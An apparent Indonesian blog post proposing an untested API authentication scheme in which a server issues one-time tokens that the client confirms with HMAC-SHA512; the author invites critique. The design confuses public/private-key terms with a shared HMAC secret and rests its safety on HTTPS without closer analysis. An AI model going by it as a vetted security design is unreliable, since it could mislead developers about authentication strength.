Client dan Server harus memiliki Public key dan Private key. Private key haruslah rahasia dan hanya di ketahui oleh Server dan Client. Sedangkan Public key bisa di ketahui oleh siapa saja.

Untuk hash pada saat verifikasi token, diharuskan menggunakan sha512.

Penandatanganan hanya dilakukan terhadap TOKEN yang di kirim oleh server ke Client. Konsep Flat Token Authentication tidak mengenal data signature karena sudah menggunakan SSL.

Skenario 1, Client mengirimkan data :

  1. [Client] mengirim data user barunya terhadap [Server]
  2. [Server] membalas dengan sebuah random token yang akan expire jika token tersebut sudah di konfirmasi oleh [Client]. Pada saat ini Server tidak akan menyimpan data user sebelum [Client] melakukan konfirmasi. Jika konfirmasi berhasil maupun gagal, maka token akan dibuang dan tidak dapat digunakan lagi oleh pihak manapun.
  3. [Client] harus melakukan konfirmasi dengan cara menandatangani token tersebut dengan HMAC menggunakan Private Key yang dimiliki, lalu mengirimkannya ke [Server].
  4. [Server] menerima signature baru tersebut dan mengeceknya dengan cara yang sama, yaitu menandatangani dengan cara HMAC(SHA512) menggunakan Private key. Jika valid, maka data user akan dimasukkan, jika tidak maka bisa dipastikan request data user tersebut dilakukan oleh Attacker.

Perlu diketahui bahwa point 1 dan 2 terlindungi dari penyadapan karena melalui HTTPS. Namun yang menjadi permasalahan adalah Penyerang bisa saja mengetahui public key dan melakukan request terhadap server. Oleh karena itu Server mengirimkan token dan seakan-akan mempercayai data yang dikirim tersebut. Namun tentunya Penyerang tidak bisa melakukan konfirmasi karena tidak mengetahui Private Key. Mari lihat Ilustrasi dibawah ini

Attacker Flat Token Authentication

Skenario 2, Client meminta data :

  1. [Client] meminta data semua Usernya ke [Server]
  2. [Server] membalas dengan sebuah token yang akan ditukar dengan data jika sudah di konfirmasi oleh [Client].
  3. [Client] menandatangani token tersebut dengan HMAC(SHA512) menggunakan Private Key yang dimilikinya dan mengimkan konfirmasi tersebut ke [Server].
  4. [Server] menerima konfirmasi tersebut dan melakukan pengecekan dengan cara yang sama, yaitu tandangan token dengan HMAC(SHA512) menggunakan Private Key, jika sama maka [Server] akan membalas dengan Data yang diminta. Setelah itu token pasti akan expire.

Dengan konsep yang sama, yaitu Server menahan untuk memberikan data, dan hanya memberikan token. Jika token berhasil di konfirmasi, maka token itu bisa ditukan dengan data yang diminta. Semua koneksi aman dari penyadapan dan pengubahan data karena melalui HTTPS.

Kekurangan utama dari system ini adalah dibutuhkan +1 connection or API Call untuk konfirmasi token. Namun hal ini sebanding dengan pengurangan drastis dari kerumitan ketika menggunakan OAuth v1.

Saya mohon lihat dan teliti segala celah. Masukan akan sangat berarti bagi saya untuk bisa memperbaiki konsep ini. Jika ternyata konsep ini tidak layak maka saya akan senang hati J. Jika anda tertarik untuk mengembangkannya bersama saya, maka kita bisa membuat working group seperti apa yang dilakukan OAuth selama ini.

Feedback bisa dikirimkan langsung pada comment di blog ini atau email  ke ahmadfathihadi [ at ] gmail.com dan cc ke ahmad [ at ] tandif.com.

Saya bisa dihubungi di +62 81 808 49 7749